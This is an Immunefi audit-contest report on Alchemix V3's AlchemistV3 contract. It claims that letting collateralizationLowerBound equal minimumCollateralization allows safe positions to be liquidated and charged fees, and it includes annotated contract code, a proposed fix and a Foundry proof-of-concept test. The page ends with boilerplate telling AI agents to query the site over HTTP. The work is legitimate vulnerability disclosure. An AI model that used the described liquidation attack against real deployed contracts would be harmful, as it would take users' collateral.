# 58168 sc medium safe position liquidation vulnerability in alchemistv3 when minimumcollateralization equals collateralizationlowerbound

**Submitted on Oct 31st 2025 at 04:54:26 UTC by @unique for** [**Audit Comp | Alchemix V3**](https://immunefi.com/audit-competition/alchemix-v3-audit-competition)

* **Report ID:** #58168
* **Report Type:** Smart Contract
* **Report severity:** Medium
* **Target:** <https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol>
* **Impacts:**
  * Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Summary:

A critical vulnerability exists in the AlchemistV3 liquidation mechanism that allows attackers to liquidate positions that should be considered safe (at minimum collateralization ratio) and steal collateral as fees. The root cause is that the protocol permits collateralizationLowerBound to be set equal to minimumCollateralization, combined with flawed fee calculation logic that reduces collateral before checking liquidation eligibility. This breaks fundamental safety guarantees of the lending protocol and enables theft of user funds from properly collateralized positions.

## Description:

A critical vulnerability exist in the AlchemistV3 contract liquidation function where attacker can liquidate save position(their collateralization ratio is equal to min-collateralization ratio) descrease their collateral and steal it as a fee from user collateral balance, the main issue arise from that contract allow that `minimumCollateralization` is be equal to `collateralizationLowerBound`. Code part: i add audit tag comment and describe the code.

```javascript
function initialize(AlchemistInitializationParams memory params) external initializer {
        _checkArgument(params.protocolFee <= BPS);
        _checkArgument(params.liquidatorFee <= BPS);
        _checkArgument(params.repaymentFee <= BPS);

        debtToken = params.debtToken;
        underlyingToken = params.underlyingToken;
        underlyingConversionFactor = 10 ** (TokenUtils.expectDecimals(params.debtToken) - TokenUtils.expectDecimals(params.underlyingToken));
        depositCap = params.depositCap;

        // @audit no validation here done to check that that minimumCollateralization and collateralizationLowerBound shouldn't be equal.

        minimumCollateralization = params.minimumCollateralization;
        globalMinimumCollateralization = params.globalMinimumCollateralization;
        collateralizationLowerBound = params.collateralizationLowerBound;
        admin = params.admin;
        transmuter = params.transmuter;
        protocolFee = params.protocolFee;
        protocolFeeReceiver = params.protocolFeeReceiver;
        liquidatorFee = params.liquidatorFee;
        repaymentFee = params.repaymentFee;
        lastEarmarkBlock = block.number;
        lastRedemptionBlock = block.number;
        myt = params.myt;
    }

    /// @inheritdoc IAlchemistV3AdminActions
    function setMinimumCollateralization(uint256 value) external onlyAdmin {
        _checkArgument(value >= FIXED_POINT_SCALAR);
        minimumCollateralization = value;

        emit MinimumCollateralizationUpdated(value);
    }

    // @audit here we can see that if new value of collateralizationLowerBound is get = to minimumCollateralization is ok and set.

    /// @inheritdoc IAlchemistV3AdminActions
    function setCollateralizationLowerBound(uint256 value) external onlyAdmin {
        _checkArgument(value <= minimumCollateralization);
        _checkArgument(value >= FIXED_POINT_SCALAR);
        collateralizationLowerBound = value;
        emit CollateralizationLowerBoundUpdated(value);
    }

```

As per protocol rules if user collateralization ratio is = to minimumCollateralization it's save and shouldn't be liquidate look at mint function minting logic.

```javascript
function _mint(uint256 tokenId, uint256 amount, address recipient) internal {
        _addDebt(tokenId, amount);

        totalSyntheticsIssued += amount;

        // Validate the tokenId's account to assure that the collateralization invariant is still held.
        _validate(tokenId);

        _accounts[tokenId].lastMintBlock = block.number;

        // Mint the debt tokens to the recipient.
        TokenUtils.safeMint(debtToken, recipient, amount);

        emit Mint(tokenId, amount, recipient);
    }
function _addDebt(uint256 tokenId, uint256 amount) internal {
        Account storage account = _accounts[tokenId];

        // Update collateral variables
        uint256 toLock = convertDebtTokensToYield(amount) * minimumCollateralization / FIXED_POINT_SCALAR;
        uint256 lockedCollateral = convertDebtTokensToYield(account.debt) * minimumCollateralization / FIXED_POINT_SCALAR;

        if (account.collateralBalance - lockedCollateral < toLock) revert Undercollateralized();

        account.rawLocked = lockedCollateral + toLock;
        _totalLocked += toLock;
        account.debt += amount;
        totalDebt += amount;
    }

```

the main problem will happen in the \_liquidate function when the collaterlization ratio of user get = to collateralizationLowerBound the function call actual \_doLiquidation function and get liquidate user, since above i describe that contract logic allow the admin to set the minimumCollateralization equal with collateralizationLowerBound. I add comment in the below function code.

```javascript

function _liquidate(uint256 accountId) internal returns (uint256 amountLiquidated, uint256 feeInYield, uint256 feeInUnderlying) {
        // Query transmuter and earmark global debt
        _earmark();
        // Sync current user debt before deciding how much needs to be liquidated
        _sync(accountId);

        Account storage account = _accounts[accountId];

        // Early return if no debt exists
        if (account.debt == 0) {
            return (0, 0, 0);
        }

        // In the rare scenario where 1 share is worth 0 underlying asset
        if (IVaultV2(myt).convertToAssets(1e18) == 0) {
            return (0, 0, 0);
        }

        // Calculate initial collateralization ratio
        uint256 collateralInUnderlying = totalValue(accountId);
        uint256 collateralizationRatio = collateralInUnderlying * FIXED_POINT_SCALAR / account.debt;

        // If account is healthy, nothing to liquidate
        if (collateralizationRatio > collateralizationLowerBound) {
            return (0, 0, 0);
        }

        // Try to repay earmarked debt if it exists
        uint256 repaidAmountInYield = 0;
        if (account.earmarked > 0) {
            repaidAmountInYield = _forceRepay(accountId, account.earmarked);
        }
        // If debt is fully cleared, return with only the repaid amount, no liquidation needed, caller receives repayment fee

        if (account.debt == 0) {
            feeInYield = _resolveRepaymentFee(accountId, repaidAmountInYield);
            TokenUtils.safeTransfer(myt, msg.sender, feeInYield);
            return (repaidAmountInYield, feeInYield, 0);
        }

        // Recalculate ratio after any repayment to determine if further liquidation is needed
        collateralInUnderlying = totalValue(accountId);
        collateralizationRatio = collateralInUnderlying * FIXED_POINT_SCALAR / account.debt;

// @audit when collateralizationRatio = to collateralizationLownerBound the user still get liquidate. this is wrong when the minimumCollateralization is = to collateralizationLowerBound.
@>        if (collateralizationRatio <= collateralizationLowerBound) {
            // Do actual liquidation
            return _doLiquidation(accountId, collateralInUnderlying, repaidAmountInYield);
        } else {
            // Since only a repayment happened, send repayment fee to caller
            feeInYield = _resolveRepaymentFee(accountId, repaidAmountInYield);
            TokenUtils.safeTransfer(myt, msg.sender, feeInYield);
            return (repaidAmountInYield, feeInYield, 0);
        }
    }

```

Then \_doLiquidation function call calculateLiquidation to calculate the fee and collateral amount that get liquidate.

```javascript
function _doLiquidation(uint256 accountId, uint256 collateralInUnderlying, uint256 repaidAmountInYield)
        internal
        returns (uint256 amountLiquidated, uint256 feeInYield, uint256 feeInUnderlying)
    {
        Account storage account = _accounts[accountId];

@>        (uint256 liquidationAmount, uint256 debtToBurn, uint256 baseFee, uint256 outsourcedFee) = calculateLiquidation(
            collateralInUnderlying,
            account.debt,
@>            minimumCollateralization,
            normalizeUnderlyingTokensToDebt(_getTotalUnderlyingValue()) * FIXED_POINT_SCALAR / totalDebt,
            globalMinimumCollateralization,
            liquidatorFee
        );

        amountLiquidated = convertDebtTokensToYield(liquidationAmount);
        feeInYield = convertDebtTokensToYield(baseFee);

        // update user balance and debt
        account.collateralBalance = account.collateralBalance > amountLiquidated ? account.collateralBalance - amountLiquidated : 0;
        _subDebt(accountId, debtToBurn);
        TokenUtils.safeTransfer(myt, transmuter, amountLiquidated - feeInYield);



        // send base fee to liquidator if available
        if (feeInYield > 0 && account.collateralBalance >= feeInYield) {
            TokenUtils.safeTransfer(myt, msg.sender, feeInYield);
        }

        // Handle outsourced fee from vault
        if (outsourcedFee > 0) {
            uint256 vaultBalance = IFeeVault(alchemistFeeVault).totalDeposits();
            if (vaultBalance > 0) {
                uint256 feeBonus = normalizeDebtTokensToUnderlying(outsourcedFee);
                feeInUnderlying = vaultBalance > feeBonus ? feeBonus : vaultBalance;
                IFeeVault(alchemistFeeVault).withdraw(msg.sender, feeInUnderlying);
            }
        }

        emit Liquidated(accountId, msg.sender, amountLiquidated + repaidAmountInYield, feeInYield, feeInUnderlying);
        return (amountLiquidated + repaidAmountInYield, feeInYield, feeInUnderlying);
    }
```

This function is the main point that lead to the vulnerability the function first decrease fee from collateral then check the collaterlization ratio of user position with his debt minimumCollateralization ratio, if user position collaterlizationRatio = minimumCollateralizatioRatio the user in save state, since the above liquidation function allow liquidator to liquidate save user position and this function wrong logic that decrease fee first from user collateral and then check the collateralization ratio lead to liquidation of save user position and still of myt token from user collateral as fee.

I add comment in the code please read it.

```javascript
 function calculateLiquidation(
        uint256 collateral,
        uint256 debt,
        uint256 targetCollateralization,
        uint256 alchemistCurrentCollateralization,
        uint256 alchemistMinimumCollateralization,
        uint256 feeBps
    ) public pure returns (uint256 grossCollateralToSeize, uint256 debtToBurn, uint256 fee, uint256 outsourcedFee) {
        if (debt >= collateral) {
            outsourcedFee = (debt * feeBps) / BPS;
            // fully liquidate debt if debt is greater than collateral
            return (collateral, debt, 0, outsourcedFee);
        }

        if (alchemistCurrentCollateralization < alchemistMinimumCollateralization) {
            outsourcedFee = (debt * feeBps) / BPS;
            // fully liquidate debt in high ltv global environment
            return (debt, debt, 0, outsourcedFee);
        }

        // fee is taken from surplus = collateral - debt

// @audit here is the wrong logic for case the user collateralizationRatio get = to minimumCollaterlization ratio,
// the function first substract fee from collateral amount

@>        uint256 surplus = collateral > debt ? collateral - debt : 0;

@        fee = (surplus * feeBps) / BPS;

        // collateral remaining for margin‐restore calc
@>        uint256 adjCollat = collateral - fee;

        // compute m*d  (both plain units)

// @audit after fee reducing the function check the collateralization ratio of user position with minimumCollateralization(targetCollateralization), this is wrong since user who collateralization ratio is = to minimumCollateralization reducing fee first lead to make small his collateralization ration and lead to liquidate of user.        
@>        uint256 md = (targetCollateralization * debt) / FIXED_POINT_SCALAR;

        // if md <= adjCollat, nothing to liquidate
@>        if (md <= adjCollat) {
@>            return (0, 0, fee, 0);
        }

        // numerator = md - adjCollat
        uint256 num = md - adjCollat;

        // denom = m - 1  =>  (targetCollateralization - FIXED_POINT_SCALAR)/FIXED_POINT_SCALAR
        uint256 denom = targetCollateralization - FIXED_POINT_SCALAR;

        // debtToBurn = (num * FIXED_POINT_SCALAR) / denom
        debtToBurn = (num * FIXED_POINT_SCALAR) / denom;

        // gross collateral seize = net + fee
        grossCollateralToSeize = debtToBurn + fee;
    }
```

after wrong calculateLiquidation function user will get liquidate and loss his collateral as fee to liquidator even he is not in liquidation state.

```javascript
 function _doLiquidation(uint256 accountId, uint256 collateralInUnderlying, uint256 repaidAmountInYield)
        internal
        returns (uint256 amountLiquidated, uint256 feeInYield, uint256 feeInUnderlying)
    {
        Account storage account = _accounts[accountId];

        (uint256 liquidationAmount, uint256 debtToBurn, uint256 baseFee, uint256 outsourcedFee) = calculateLiquidation(
            collateralInUnderlying,
            account.debt,
            minimumCollateralization,
            normalizeUnderlyingTokensToDebt(_getTotalUnderlyingValue()) * FIXED_POINT_SCALAR / totalDebt,
            globalMinimumCollateralization,
            liquidatorFee
        );

        amountLiquidated = convertDebtTokensToYield(liquidationAmount);
        feeInYield = convertDebtTokensToYield(baseFee);

        // update user balance and debt

        // @audit the user will liquidate and loss his collateral
@>        account.collateralBalance = account.collateralBalance > amountLiquidated ? account.collateralBalance - amountLiquidated : 0;
@>        _subDebt(accountId, debtToBurn);
@>        TokenUtils.safeTransfer(myt, transmuter, amountLiquidated - feeInYield);


        // send base fee to liquidator if available
@>        if (feeInYield > 0 && account.collateralBalance >= feeInYield) {
@>            TokenUtils.safeTransfer(myt, msg.sender, feeInYield);
        }

        // Handle outsourced fee from vault
        if (outsourcedFee > 0) {
            uint256 vaultBalance = IFeeVault(alchemistFeeVault).totalDeposits();
            if (vaultBalance > 0) {
                uint256 feeBonus = normalizeDebtTokensToUnderlying(outsourcedFee);
                feeInUnderlying = vaultBalance > feeBonus ? feeBonus : vaultBalance;
                IFeeVault(alchemistFeeVault).withdraw(msg.sender, feeInUnderlying);
            }
        }

        emit Liquidated(accountId, msg.sender, amountLiquidated + repaidAmountInYield, feeInYield, feeInUnderlying);
        return (amountLiquidated + repaidAmountInYield, feeInYield, feeInUnderlying);
    }


```

## Impact

* user will get liquidate even they are in save state and not under collateralization ratio
* attacker/malicious user can liquidate all those user who's collateralization position ratio is = to minimumCollateralizationRation when the protocol set the minimumCollateralization = to collateralizationLowerBound

## Mitigation step

The collateralizationLowerBound should never be get = to minimumCollateralization, otherwise save position will get liquidate and liquidator will steal their myt as fee.

```javascript


    function initialize(AlchemistInitializationParams memory params) external initializer {
        _checkArgument(params.protocolFee <= BPS);
        _checkArgument(params.liquidatorFee <= BPS);
        _checkArgument(params.repaymentFee <= BPS);

        debtToken = params.debtToken;
        underlyingToken = params.underlyingToken;
        underlyingConversionFactor = 10 ** (TokenUtils.expectDecimals(params.debtToken) - TokenUtils.expectDecimals(params.underlyingToken));
        depositCap = params.depositCap;
        minimumCollateralization = params.minimumCollateralization;
        globalMinimumCollateralization = params.globalMinimumCollateralization;
++        require(minimumCollateralization != params.collaterlizationLowerBound, "minCollateralization shouldn't be = to collLowerBound");
        collateralizationLowerBound = params.collateralizationLowerBound;
        admin = params.admin;
        transmuter = params.transmuter;
        protocolFee = params.protocolFee;
        protocolFeeReceiver = params.protocolFeeReceiver;
        liquidatorFee = params.liquidatorFee;
        repaymentFee = params.repaymentFee;
        lastEarmarkBlock = block.number;
        lastRedemptionBlock = block.number;
        myt = params.myt;
    }

    /// @inheritdoc IAlchemistV3AdminActions
    function setMinimumCollateralization(uint256 value) external onlyAdmin {
        _checkArgument(value >= FIXED_POINT_SCALAR);
        minimumCollateralization = value;

        emit MinimumCollateralizationUpdated(value);
    }

    /// @inheritdoc IAlchemistV3AdminActions
    function setCollateralizationLowerBound(uint256 value) external onlyAdmin {
--        _checkArgument(value <= minimumCollateralization);
++        _checkArgument(value < minimumCollateralization);
        _checkArgument(value >= FIXED_POINT_SCALAR);
        collateralizationLowerBound = value;
        emit CollateralizationLowerBoundUpdated(value);
    }


```

## Proof of Concept

## Proof of Concept

Add the following test function into AlchemistV3.t.sol file and run the test. `forge test --mt testLiquidateSavePosition -vv`

```javascript
// @audit first modify deployCoreContracts function 
// . AlchemistInitializationParams memory params = AlchemistInitializationParams({
            // minimumCollateralization: 2e18,
            // collateralizationLowerBound: 2e18, // 2 collateralization
            // globalMinimumCollateralization: 2e18, // 2

function testLiquidateSavePosition() external {
        address liquidator = makeAddr("liquidator");
        uint256 balanceOfLiquidatorBeforeLiquidation = IERC20(address(vault)).balanceOf(liquidator);
        console.log("Liquidator myt  balance before calling liquidate function for userA",balanceOfLiquidatorBeforeLiquidation);
        
        vm.startPrank(address(0xbeef));
        // we set the minimumCollateralization and collateralizationLowerBound to 2e18
        // mean if user deposit 2myt token he can borrow 1 synthetic token 2:1

        SafeERC20.safeApprove(address(vault), address(alchemist), 100e18);
        alchemist.deposit(50e18, address(0xbeef), 0);
        alchemist.mint(1, 25e18, address(0xbeef));
        vm.stopPrank();

        (uint256 userColl, uint256 userDebt, uint256 userEarmark) = alchemist.getCDP(1);
        console.log("UserA collateral value before get liquidate", userColl);
        console.log("UserA Debt value before get liquidate", userDebt);
        

        vm.startPrank(liquidator);
        alchemist.liquidate(1);
        vm.stopPrank();

        uint256 balanceOfLiquidatorAfterLiquidation = IERC20(address(vault)).balanceOf(liquidator);
        
        console.log("Liquidator myt balance After calling liquidate function for userA",balanceOfLiquidatorAfterLiquidation);
        (userColl, userDebt, userEarmark) = alchemist.getCDP(1);
        console.log("UserA collateral value after get liquidate", userColl);
        console.log("UserA Debt value after get liquidate", userDebt);
        
}

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/alchemix-v3/58168-sc-medium-safe-position-liquidation-vulnerability-in-alchemistv3-when-minimumcollateralization.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
